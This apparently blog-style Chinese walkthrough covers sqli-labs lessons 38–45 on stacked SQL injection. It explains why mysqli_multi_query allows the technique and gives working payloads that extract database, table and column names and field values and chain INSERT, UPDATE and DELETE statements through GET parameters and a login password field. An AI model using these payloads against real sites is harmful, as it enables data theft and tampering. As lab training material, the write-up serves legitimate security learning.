目录
Less-38-堆叠注入练习1
堆叠注入讲解
爆破数据库名
爆破表名并且插入一条数据
爆破列名并且更改刚才插入的数据
爆破字段值并且删除刚才插入的数据
Less-39-堆叠注入练习2
Less-40-堆叠注入练习3
Less-41-堆叠注入练习4
Less-42-堆叠注入练习5
爆破数据库名
爆破表名
爆破列名
爆破字段值并且删除刚插入的数据
Less-43-堆叠注入练习6
Less-44-堆叠注入练习7
Less-45-堆叠注入练习8
总结
Less-38-堆叠注入练习1
首先我们进入38关:
可以看到页面的显示和第一关类似,我们测试一下这一关的SQL查询语句的闭合方式,输入语句:
?id=1\
页面回显: 可以看到闭合方式是单引号闭合。这一关大家可以使用联合注入,但是我这里主要讲一下堆叠注入。
堆叠注入讲解
注入原理: 我们在之前进行注入的时候,都是在SQL语句对后台传输数据的地方进行修改,然后将修改的内容一并发给后台,从而达到爆破信息的目的。当然我们得到的信息也是有限的,比如我们进行查询语句,那我们只能进行查询,不能进行增、删、改等操作。也就是说我们一次进行的操作很有限。但是堆叠注入就不一样了,这种注入方法可以一次性输入很多条SQL语句,并且让后台一并执行我们输入的SQL语句,也就是可以同时进行增、删、改、查等操作了。大大增加了注入时的便利性。
使用方法:在我们输入的语句后面加上分号表示该语句结束,之后再输入另一条语句就可以了。例如可以先写一个查询语句,之后加分号表示查询结束,再在分号后输入删除语句。这样就叫堆叠注入。
使用前提:堆叠注入使用的条件很苛刻,会受到API以及数据库引擎,或者是权限的限制。只有当调用数据库的函数支持执行多条SQL语句的时候才可以使用。例如 mysqli_multi_query() 函数就支持多条SQL语句同时执行,而 mysqli_query() 函数就不支持。在实际应用中,大多数都使用的是 mysqli_query() 函数,所以能使用堆叠注入的说明该网站做的很不成功,因为堆叠注入的爆破效果太好了。一般PHP搭建的网站为了防止SQL注入都会使用 mysqli_query() 函数。
防御方法:尽量避免使用 mysqli_multi_query() 函数,同时后台对输入的语句要进行过滤操作。
接下来我就进行堆叠注入的实战演练。
爆破数据库名
输入语句:
?id=0' union select 1,database(),3 --+
页面回显:
可以看到成功爆破数据库名字。
爆破表名并且插入一条数据
首先我们输入语句进行表名的爆破:
?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
页面回显:
可以看到成功爆破了表名。接下来就进行堆叠注入,我这里就演示一下在爆破表名的同时向第一张表 emails 中插入一条数据。
输入语句:
?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security';insert into emails(id,email_id) values('100','aaaaaa') --+
这里我向 emails 表中插入 id=100;email_id=aaaaaa 的数据,我们查看一下页面回显以及后台数据库的情况:
可以看到成功爆破了表名。接着我们查看一下数据库中插入进去数据没有: 可以看到以及插入成功了。这就是堆叠注入。
爆破列名并且更改刚才插入的数据
刚才讲了如何插入数据,现在讲一下更新数据,我这里将刚才输入的数据更改为:id=50;email_id=sql。输入语句:
?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='emails';update emails set id=50,email_id='sql' where id=100 --+
页面回显:
可以看到成功爆破了表 emails 的列名。
我们看一下数据库的更新情况:
可以看到数据已经更新。
爆破字段值并且删除刚才插入的数据
这次我讲一下删除语句的使用,我们就把刚才插入到表 emails 的数据删除,输入语句:
?id=0' union select 1,group_concat(id,email_id),3 from emails;delete from emails where id=50 --+
页面回显: 可以看到页面成功爆破了表 emails 的字段值。接下来我们看一下数据库的情况:
可以看到我们刚才插入的数据已经被删除了。
这里我们看一下这一关的源代码:
可以看到是用 mysqli_multi_query() 函数调用sql的,所以这一关中才可以使用堆叠注入。
到此,38关就结束了。
Less-39-堆叠注入练习2
这一关只是闭合方式和38关不一样,这一关的闭合方式是整型,我们看一下源码:
可以看到闭合方式是整型。其余操作都和38关一样。这里不再赘述。
Less-40-堆叠注入练习3
这一关只是闭合方式和38关不同,这一关的闭合方式是 ') 。只需要替换一下注入点就可以了,其余操作都和38关一样,这里不再赘述。此外这一关是没有语法报错回显的,所以判断注入点的方法要使用一下语句:
?id=2') and ('1')=('1
如果回显id=2的用户的信息,那么注入点就是 ') ,如果依旧回显id=1的用户的信息,那就需要替换为别的注入点再次测试。这种方法之前的博客也讲过。
Less-41-堆叠注入练习4
这一关只是闭合方式和38关不同,闭合方式是整型。其余操作都和38关一样。这里不再赘述。
Less-42-堆叠注入练习5
进入42关:
可以看到这一关是POST表单的形式,可以看到在该页面中还有两个跳转链接,我们点开看一下:
可以看到这两个页面都不存在注入的可能,说明我们只能从表单下手。
我们现在Username输入框中输入测试语句查看一下是否存在过滤情况:
1\
页面回显:
可以看到是一个非常不友好的页面,说明我们输入的注释符并没有起到作用,很可能是被过滤了,我们在测试一下Password输入框的情况,这次我们输入语句:
1'
页面回显:
可以看到虽然页面也就不友好,但是爆破出了这一关的闭合方式是单引号,闭合方式也就是注入点。那就说明我们这一关可以在Password输入框中进行注入。
接下来使用联合注入测试一下显示位,输入语句:
1' union select 1,2,3 #
页面回显: 可以看到我们进入了成功登录时的页面,是一个密码修改页面。同时回显出了我们的显示位。之后使用联合注入就可以。
爆破数据库名
输入语句:
1' union select 1,database(),3 #
页面回显:
可以看到成功爆破了数据库名字。
爆破表名
输入语句:
1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' #
页面回显:
可以看到成功爆破了表名。
爆破列名
输入语句:
1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='emails' #
页面回显:
可以看到成功爆破了表 emails 的列名,其余表的列名爆破方法一样,这里不在赘述。
接下来我测试一下这一关中是否存在堆叠注入,我们向 emails 表中插入数据:id=50;email_id='abc'。
输入语句:
1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='emails';insert into emails(id,email_id) values(50,'abc') #
页面回显:
页面成功爆破了列名,接下来我们看一下数据库中是否成功插入了数据:
可以看到成功插入了数据。当然我这是直接查看了数据库,大家也可以输入语句去通过爆破字段值的方法查看是否插入成功。
爆破字段值并且删除刚插入的数据
输入语句:
1' union select 1,group_concat(id,email_id),3 from emails;delete from emails where id=50 #
页面回显:
可以看到成功爆破了表 emails 的字段值,而且此时是存在刚才插入的数据的,因为在执行查询语句之前还没有对数据进行删除,我们再次输入语句查询,看一看我们的删除是否成功:
1' union select 1,group_concat(id),3 from emails #
这里我们只查一下有没有 id=50 的就行,页面回显:
可以看到并没有查到 id=50 的数据,我们再去后台数据库确认一下:
可以看到数据确实被删除成功。
至此42关就结束了。
Less-43-堆叠注入练习6
这一关只不过SQL语句的闭合方式(注入点)变为了 ') ,其余都和42关一样,这里就不再赘述了。
Less-44-堆叠注入练习7
这一关中是没有语法报错回显的,所以判断注入点有一些困难,但是只要把注入点判断出来了,其余操作就都和42关一样了。这一关在Username输入框上的处理和42关一样,都被过滤了,所以只能在Password输入框上动手脚。
首先输入测试语句:
2' union select 1,2,3 #
如果可以登录进入,说明注入点就找对了,这一关中就用这个作为测试注入点的方法。
页面回显:
可以看到成功登录进来了,说明这一关的闭合符号(注入点)就是单引号。其余操作都和42关一样,这里就不赘述了。
Less-45-堆叠注入练习8
这一关只是SQL语句的闭合方式不同,其余都和42关一样,这一关的闭合方式(注入点)是 ') 。其余操作就不赘述了。
总结
这一篇博客我主要讲了堆叠注入,包括堆叠注入原理、注入条件、注入方法等。堆叠注入的前提条件多,可以实际应用的场景较少。但是只要能够进行堆叠注入,就可以对后台数据库造成很大的伤害。